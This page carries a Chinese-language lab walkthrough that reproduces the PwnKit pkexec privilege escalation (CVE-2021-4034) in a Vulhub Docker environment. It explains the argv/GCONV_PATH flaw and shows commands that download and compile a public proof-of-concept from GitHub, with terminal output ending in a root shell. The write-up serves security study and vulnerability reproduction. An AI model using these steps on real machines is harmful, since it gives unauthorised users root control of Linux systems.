尧图网站建设 尧图网络
  • 首页
  • 关于我们
  • 服务项目
  • 案例展示
  • 建站流程
  • 资讯中心
  • 联系我们
首页/资讯中心/详情

实用指南:PwnKit提权漏洞复现:原理分析+环境搭建+渗透实践(CVE-2021-4034)

实用指南:PwnKit提权漏洞复现:原理分析+环境搭建+渗透实践(CVE-2021-4034)
📅 发布时间:2026/6/20 16:39:07

目录

一、PwnKit提权漏洞

1、漏洞简介

2、漏洞原理

二、环境搭建

1、确保系统已安装 Docker 和 Docker-Compose

2、下载 Vulhub

3、进入漏洞环境

4、启动漏洞环境

5、查看环境状态

三、渗透实战

1、ssh登录ubuntu账户

2、查看用户

3、下载编译PoC脚本

(1)下载PoC文件

(2)解压PoC文件

(3)编译PoC文件

4、运行PoC提权


PwnKit提权漏洞(CVE-2021-4034)是Polkit组件pkexec工具中的高危本地权限提升漏洞,影响多数Linux发行版。文章详细介绍了漏洞原理:pkexec处理环境变量时存在缺陷,可被利用执行任意代码获取root权限。通过Vulhub搭建漏洞环境,使用SSH登录普通用户后,下载并编译PoC脚本,最终成功实现权限提升至root。整个渗透过程包括环境准备、漏洞复现和提权验证,展示了该漏洞的稳定利用性。

一、PwnKit提权漏洞

1、漏洞简介

CVE-2021-4034 是一个存在于 Polkit 组件的 pkexec 工具中的本地权限提升漏洞,也被称为 PwnKit。

  • CVE编号:CVE-2021-4034

  • 通俗名称:PwnKit

  • 影响组件:Polkit 的 pkexec 工具

  • 漏洞类型:本地权限提升 (Local Privilege Escalation)

  • 危害等级:高危 (High)

  • 影响版本:主要影响 pkexec 版本为 0.105 之前的系统,包括 Ubuntu、CentOS、Debian 等众多 Linux 发行版。

  • 漏洞成因:pkexec 未能正确处理参数和环境变量的交互,导致可以劫持其执行流,加载并执行任意恶意库,从而以 root 权限执行任意代码。

  • 特点:默认存在、稳定利用、影响范围极广。几乎所有主流 Linux 发行版都受影响。

2、漏洞原理

pkexec 是一个 SUID 工具,允许非特权用户根据预定义的策略以特权用户身份运行命令。该漏洞源于 pkexec 在处理参数时逻辑错误,当使用 execve 调用程序并给 argv 传值 NULL 时,argc 会为 0,此时 pkexec 会读取 argv (1) 变量,由于 argv 与 envp 在内存布局上是连续的,实际上会读取到第一个环境变量。若该环境变量不是绝对路径,pkexec 会在环境变量中查找 PATH 变量将其转换为实际路径,若 PATH 环境变量包含攻击者可控的路径,就会导致 pkexec 将攻击者可控的路径下的内容当作命令执行。此外,pkexec 在程序运行过程中会调用 g_printerr 函数,该函数会按需载入 GCONV_PATH 环境变量指向的路径下的 gconv - modules 文件中写明的外部动态链接库,并运行其中的初始化函数 gconv_init。攻击者可以通过构造恶意的环境变量,诱导 pkexec 加载并执行恶意的共享库,从而实现任意代码执行,达到本地权限提升的目的。

二、环境搭建

1、确保系统已安装 Docker 和 Docker-Compose

本文使用Vulhub复现PwnKit提权漏洞(CVE-2021-4034),由于Vulhub 依赖于 Docker 环境,需要确保系统中已经安装并启动了 Docker 服务,命令如下所示。

# 检查 Docker 是否安装
docker --version
docker-compose --version
# 检查 Docker 服务状态
sudo systemctl status docker

2、下载 Vulhub

将 Vulhub 项目克隆到本地,具体命令如下所示。

git clone https://github.com/vulhub/vulhub.git
cd vulhub

3、进入漏洞环境

Vulhub 已经准备好现成的漏洞环境,我们只需进入对应目录。注意:docker需要管理员权限运行,故而注意需要切换到root执行后续的docker命令。

cd vulhub/polkit/CVE-2021-4034

4、启动漏洞环境

在CVE-2021-4034目录下,使用docker-compose up -d命令启动环境。Vulhub 的脚本会自动从 Docker Hub 拉取预先构建好的镜像并启动容器。

docker-compose up -d

命令执行后,Docker 会完成拉取一个包含cve-2021-4034漏洞的镜像。

5、查看环境状态

使用 docker ps 命令确认容器启动状态,如下所示Vulhub 项目提供的polkit:0.105容器已正常运行 ,这个就是CVE-2021-4034 漏洞环境,可通过宿主机的 2222 端口访问容器。

└─# docker ps
doCONTAINER ID   IMAGE                 COMMAND                  CREATED          STATUS          PORTS                                             NAMES
44768a733e46   vulhub/polkit:0.105   "/bin/sh -c 'qemu-sy…"   33 seconds ago   Up 31 seconds   0.0.0.0:2222->2222/tcp, :::2222->2222/tcp         cve-2021-4034_cmd_1

三、渗透实战

1、ssh登录ubuntu账户

使用用户名ubuntu/密码vulhub登录Docker漏洞环境的SSH(端口是2222),如下所示。

ssh ubuntu@192.168.59.128 -p2222

2、查看用户

使用whoami和id查看用户信息, 如下所示这是一个普通用户,非root用户。

3、下载编译PoC脚本

(1)下载PoC文件

下载CVE-2021-4034 (Linux 系统上的 Polkit 权限提升漏洞)的PoC文件,如下所示。

ubuntu@ubuntu:/tmp$ wget https://github.com/berdav/CVE-2021-4034/archive/refs/heads/main.tar.gz
--2025-09-03 10:59:43--  https://github.com/berdav/CVE-2021-4034/archive/refs/heads/main.tar.gz
Resolving github.com (github.com)... 20.205.243.166
Connecting to github.com (github.com)|20.205.243.166|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://codeload.github.com/berdav/CVE-2021-4034/tar.gz/refs/heads/main [following]
--2025-09-03 10:59:44--  https://codeload.github.com/berdav/CVE-2021-4034/tar.gz/refs/heads/main
Resolving codeload.github.com (codeload.github.com)... 20.205.243.165
Connecting to codeload.github.com (codeload.github.com)|20.205.243.165|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [application/x-gzip]
Saving to: ‘main.tar.gz’
main.tar.gz                                                    [ <=>                                                                                                                                     ]   4.08K  --.-KB/s    in 0.002s
2025-09-03 10:59:45 (2.21 MB/s) - ‘main.tar.gz’ saved [4176]

(2)解压PoC文件

上一步下载下来的PoC文件为main.tar.gz,使用tar解压PoC文件到当前文件夹,如下所示。

ubuntu@ubuntu:/tmp$ tar -zxvf main.tar.gz
CVE-2021-4034-main/
CVE-2021-4034-main/.gitignore
CVE-2021-4034-main/LICENSE
CVE-2021-4034-main/Makefile
CVE-2021-4034-main/README.md
CVE-2021-4034-main/cve-2021-4034.c
CVE-2021-4034-main/cve-2021-4034.sh
CVE-2021-4034-main/dry-run/
CVE-2021-4034-main/dry-run/Makefile
CVE-2021-4034-main/dry-run/dry-run-cve-2021-4034.c
CVE-2021-4034-main/dry-run/pwnkit-dry-run.c
CVE-2021-4034-main/pwnkit.c

(3)编译PoC文件

进入到PoC文件夹所在的目录,编译PoC程序,如下所示。

ubuntu@ubuntu:/tmp$ cd CVE-2021-4034-main/
ubuntu@ubuntu:/tmp/CVE-2021-4034-main$ make
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall    cve-2021-4034.c   -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp -f /usr/bin/true GCONV_PATH=./pwnkit.so:.

4、运行PoC提权

运行提权PoC文件cve-2021-4034,如下所示,执行whoami和id时,提示用户已经变为root,说明提权渗透成功。

ubuntu@ubuntu:/tmp/CVE-2021-4034-main$ ./cve-2021-4034
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),117(netdev),118(lxd),1000(ubuntu)

相关新闻

  • 2025年评价高的变流器高压直流继电器行业内口碑厂家排行榜
  • 2025年11月儿童DHA品牌推荐榜:五款人气单品多维度对比排行
  • 2025年口碑好的灰铁机床铸件厂家最新TOP实力排行

最新新闻

  • 5分钟掌握:iwck键盘鼠标防误触工具实战应用全解析
  • 达州市黄金回收猫腻多怎么办?整理了5家诚信回收店供参考 - 千叶啊
  • 迪庆藏族自治州黄金首饰回收正规门店推荐,附各区回收网点联系方式 - 千叶啊
  • ChatGPT不是新软件,而是你该重建的对话式工作习惯
  • iFakeLocation:无需越狱的iOS虚拟定位工具,三大平台轻松修改设备位置
  • GPT-5.5五大变现场景:外贸翻译、音乐分轨、养老短信等实操指南

日新闻

  • Visual C++运行库修复终极指南:5分钟快速解决Windows软件启动错误
  • 手把手教你构建统计局地区经济数据爬虫:从环境搭建到数据持久化全指南
  • 2026多Agent深度解析:用AI团队替代单一模型,四种架构实战落地

周新闻

  • Visual C++运行库修复终极指南:5分钟快速解决Windows软件启动错误
  • 手把手教你构建统计局地区经济数据爬虫:从环境搭建到数据持久化全指南
  • 2026多Agent深度解析:用AI团队替代单一模型,四种架构实战落地

月新闻

  • 【总结】入门篇:50句话让你记住架构核心概念
  • WeChatMsg技术方案解析:实现Mac微信数据自主管理的完整解决方案
  • WeChatMsg:革新性微信数据备份方案,打造你的专属数字记忆库

关于尧图

  • 公司简介
  • 团队介绍
  • 企业文化
  • 荣誉资质

服务项目

  • 定制开发
  • 电商建站
  • UI 设计
  • 运维服务

快速链接

  • 案例展示
  • 建站流程
  • 常见问题
  • 资讯中心

联系方式

  • 📍北京市朝阳区互联网产业园 A 座 10 层
  • 📞400-888-8888
  • ✉️contact@rkmt.cn
  • 🕐周一至周日 9:00-21:00

© 2024 北京尧图网络科技有限公司 版权所有 | 京 ICP 备 XXXXXXXX 号